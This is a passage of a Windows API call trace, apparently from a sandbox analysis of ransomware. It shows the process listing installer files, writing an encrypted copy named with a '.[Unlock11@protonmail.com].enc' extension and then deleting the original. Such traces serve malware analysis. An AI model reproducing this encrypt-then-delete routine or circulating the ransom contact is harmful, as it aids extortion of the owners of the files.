GetLastError () returned 0x0 [0114.599] GetLastError () returned 0x0 [0114.599] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0114.599] GetLastError () returned 0x0 [0114.599] GetCurrentThreadId () returned 0x9b0 [0114.599] GetLastError () returned 0x0 [0114.600] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.600] GetLastError () returned 0x0 [0114.600] GetCurrentThreadId () returned 0x9b0 [0114.600] GetLastError () returned 0x0 [0114.600] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.600] GetLastError () returned 0x0 [0114.600] GetCurrentThreadId () returned 0x9b0 [0114.600] GetLastError () returned 0x0 [0114.600] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.600] GetLastError () returned 0x0 [0114.600] GetCurrentThreadId () returned 0x9b0 [0114.600] GetLastError () returned 0x0 [0114.600] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.601] GetLastError () returned 0x0 [0114.601] GetCurrentThreadId () returned 0x9b0 [0114.601] GetLastError () returned 0x0 [0114.601] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.601] GetLastError () returned 0x12 [0114.601] GetCurrentThreadId () returned 0x9b0 [0114.601] GetLastError () returned 0x12 [0114.601] GetLastError () returned 0x12 [0114.601] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0114.601] GetLastError () returned 0x12 [0114.601] GetLastError () returned 0x12 [0114.601] GetLastError () returned 0x12 [0114.601] GetLastError () returned 0x12 [0114.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.602] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0114.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0114.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.602] GetCurrentThreadId () returned 0x9b0 [0114.602] GetLastError () returned 0x12 [0114.602] GetLastError () returned 0x12 [0114.602] GetLastError () returned 0x12 [0114.602] GetLastError () returned 0x12 [0114.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0114.603] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0114.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.603] GetLastError () returned 0x12 [0114.603] GetLastError () returned 0x12 [0114.603] GetLastError () returned 0x12 [0114.603] GetLastError () returned 0x12 [0114.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.603] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0114.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.603] GetCurrentThreadId () returned 0x9b0 [0114.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.604] GetLastError () returned 0x12 [0114.604] GetLastError () returned 0x12 [0114.604] GetLastError () returned 0x12 [0114.604] GetLastError () returned 0x12 [0114.604] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0114.604] GetCurrentThreadId () returned 0x9b0 [0114.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0114.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.604] GetLastError () returned 0x12 [0114.605] GetLastError () returned 0x12 [0114.605] GetLastError () returned 0x12 [0114.605] GetLastError () returned 0x12 [0114.605] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.605] GetCurrentThreadId () returned 0x9b0 [0114.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0114.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.605] GetLastError () returned 0x0 [0114.605] GetLastError () returned 0x0 [0114.606] GetLastError () returned 0x0 [0114.606] GetLastError () returned 0x0 [0114.606] GetCurrentThreadId () returned 0x9b0 [0114.606] GetLastError () returned 0x0 [0114.606] GetCurrentThreadId () returned 0x9b0 [0114.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.606] GetLastError () returned 0x0 [0114.606] GetLastError () returned 0x0 [0114.606] GetLastError () returned 0x0 [0114.606] GetLastError () returned 0x0 [0114.606] GetCurrentThreadId () returned 0x9b0 [0114.607] GetLastError () returned 0x0 [0114.607] GetLastError () returned 0x0 [0114.607] GetLastError () returned 0x0 [0114.607] GetLastError () returned 0x0 [0114.607] GetLastError () returned 0x0 [0114.607] GetCurrentThreadId () returned 0x9b0 [0114.607] GetLastError () returned 0x0 [0114.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.607] GetCurrentThreadId () returned 0x9b0 [0114.607] GetLastError () returned 0x0 [0114.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0114.607] GetLastError () returned 0x0 [0114.608] GetLastError () returned 0x0 [0114.608] GetLastError () returned 0x0 [0114.608] GetCurrentThreadId () returned 0x9b0 [0114.608] GetLastError () returned 0x0 [0114.608] GetLastError () returned 0x0 [0114.608] GetLastError () returned 0x0 [0114.608] GetLastError () returned 0x0 [0114.608] GetLastError () returned 0x0 [0114.608] GetCurrentThreadId () returned 0x9b0 [0114.608] GetLastError () returned 0x0 [0114.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0114.608] GetLastError () returned 0x0 [0114.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0114.609] GetLastError () returned 0x0 [0114.609] GetLastError () returned 0x0 [0114.609] GetLastError () returned 0x0 [0114.609] GetCurrentThreadId () returned 0x9b0 [0114.609] GetLastError () returned 0x0 [0114.609] GetLastError () returned 0x0 [0114.609] GetLastError () returned 0x0 [0114.609] GetLastError () returned 0x0 [0114.609] GetLastError () returned 0x0 [0114.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.609] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62)) returned 1 [0114.610] GetLastError () returned 0x0 [0114.610] GetCurrentThreadId () returned 0x9b0 [0114.610] GetLastError () returned 0x0 [0114.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.610] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36645d4 | out: pbBuffer=0x36645d4) returned 1 [0114.611] GetCurrentThreadId () returned 0x9b0 [0114.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0114.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0114.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.611] GetLastError () returned 0x0 [0114.611] GetLastError () returned 0x0 [0114.611] GetLastError () returned 0x0 [0114.611] GetLastError () returned 0x0 [0114.611] GetCurrentThreadId () returned 0x9b0 [0114.611] GetLastError () returned 0x0 [0114.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.612] GetCurrentThreadId () returned 0x9b0 [0114.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.612] GetLastError () returned 0x0 [0114.612] GetLastError () returned 0x0 [0114.612] GetLastError () returned 0x0 [0114.612] GetLastError () returned 0x0 [0114.612] GetCurrentThreadId () returned 0x9b0 [0114.612] GetLastError () returned 0x0 [0114.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.612] GetCurrentThreadId () returned 0x9b0 [0114.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6be8 [0114.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.613] GetLastError () returned 0x0 [0114.613] GetLastError () returned 0x0 [0114.613] GetLastError () returned 0x0 [0114.613] GetLastError () returned 0x0 [0114.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c88 [0114.613] GetLastError () returned 0x0 [0114.613] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.613] GetFileType (hFile=0x39c) returned 0x1 [0114.613] GetLastError () returned 0x0 [0114.614] GetLastError () returned 0x0 [0114.614] GetFileType (hFile=0x39c) returned 0x1 [0114.614] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.614] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.614] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.614] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.614] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.614] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.614] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.614] GetLastError () returned 0x0 [0114.614] GetLastError () returned 0x0 [0114.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.615] GetLastError () returned 0x0 [0114.615] GetLastError () returned 0x0 [0114.615] GetLastError () returned 0x0 [0114.615] GetLastError () returned 0x0 [0114.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0114.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d08 [0114.615] GetLastError () returned 0x0 [0114.615] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.617] GetFileType (hFile=0x3ac) returned 0x1 [0114.617] GetLastError () returned 0x0 [0114.617] GetLastError () returned 0x0 [0114.617] GetFileType (hFile=0x3ac) returned 0x1 [0114.617] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.617] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.617] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.617] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.617] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.617] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.618] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.618] GetLastError () returned 0x0 [0114.618] GetLastError () returned 0x0 [0114.618] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0114.618] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0114.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0114.618] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.618] GetLastError () returned 0x0 [0114.618] GetLastError () returned 0x0 [0114.618] GetLastError () returned 0x0 [0114.618] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0114.619] GetLastError () returned 0x0 [0114.619] GetLastError () returned 0x0 [0114.619] GetLastError () returned 0x0 [0114.619] GetLastError () returned 0x0 [0114.620] GetLastError () returned 0x0 [0114.621] GetLastError () returned 0x0 [0114.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6be8 | out: hHeap=0x2ad0000) returned 1 [0114.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.621] GetLastError () returned 0x0 [0114.621] GetLastError () returned 0x0 [0114.621] GetLastError () returned 0x0 [0114.622] GetLastError () returned 0x0 [0114.622] GetLastError () returned 0x0 [0114.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0114.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.622] GetLastError () returned 0x0 [0114.624] GetLastError () returned 0x0 [0114.624] GetLastError () returned 0x0 [0114.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.624] GetLastError () returned 0x0 [0114.624] GetLastError () returned 0x0 [0114.624] GetLastError () returned 0x0 [0114.625] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3b77) returned 0x36f8548 [0114.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.625] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3b85) returned 0x36f8548 [0114.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d08 [0114.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3b88) returned 0x3887a10 [0114.625] GetCurrentThreadId () returned 0x9b0 [0114.625] GetLastError () returned 0x0 [0114.625] GetLastError () returned 0x0 [0114.625] GetLastError () returned 0x0 [0114.625] GetLastError () returned 0x0 [0114.626] GetCurrentThreadId () returned 0x9b0 [0114.626] GetLastError () returned 0x0 [0114.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0114.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.626] GetLastError () returned 0x0 [0114.626] GetLastError () returned 0x0 [0114.626] GetCurrentThreadId () returned 0x9b0 [0114.626] GetLastError () returned 0x0 [0114.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388b5a0 | out: hHeap=0x2ad0000) returned 1 [0114.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.627] GetLastError () returned 0x0 [0114.627] GetLastError () returned 0x0 [0114.627] GetCurrentThreadId () returned 0x9b0 [0114.627] GetLastError () returned 0x0 [0114.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.627] GetLastError () returned 0x0 [0114.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.627] CloseHandle (hObject=0x3ac) returned 1 [0114.628] GetLastError () returned 0x0 [0114.628] GetCurrentThreadId () returned 0x9b0 [0114.628] GetLastError () returned 0x0 [0114.628] GetLastError () returned 0x0 [0114.628] CloseHandle (hObject=0x39c) returned 1 [0114.628] GetLastError () returned 0x0 [0114.628] GetCurrentThreadId () returned 0x9b0 [0114.628] GetLastError () returned 0x0 [0114.628] GetLastError () returned 0x0 [0114.628] GetLastError () returned 0x0 [0114.628] GetLastError () returned 0x0 [0114.629] GetLastError () returned 0x0 [0114.629] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0114.630] GetLastError () returned 0x0 [0114.630] GetCurrentThreadId () returned 0x9b0 [0114.630] GetLastError () returned 0x0 [0114.630] GetLastError () returned 0x0 [0114.630] GetLastError () returned 0x0 [0114.630] GetLastError () returned 0x0 [0114.630] GetLastError () returned 0x0 [0114.631] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.631] GetCurrentThreadId () returned 0x9b0 [0114.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0114.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.631] GetCurrentThreadId () returned 0x9b0 [0114.631] GetLastError () returned 0x0 [0114.631] GetLastError () returned 0x0 [0114.631] GetLastError () returned 0x0 [0114.631] GetLastError () returned 0x0 [0114.632] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0114.632] GetLastError () returned 0x0 [0114.632] GetCurrentThreadId () returned 0x9b0 [0114.632] GetLastError () returned 0x0 [0114.632] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.632] GetLastError () returned 0x0 [0114.632] GetCurrentThreadId () returned 0x9b0 [0114.632] GetLastError () returned 0x0 [0114.632] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.632] GetLastError () returned 0x0 [0114.633] GetCurrentThreadId () returned 0x9b0 [0114.633] GetLastError () returned 0x0 [0114.633] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.633] GetLastError () returned 0x0 [0114.633] GetCurrentThreadId () returned 0x9b0 [0114.633] GetLastError () returned 0x0 [0114.633] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, 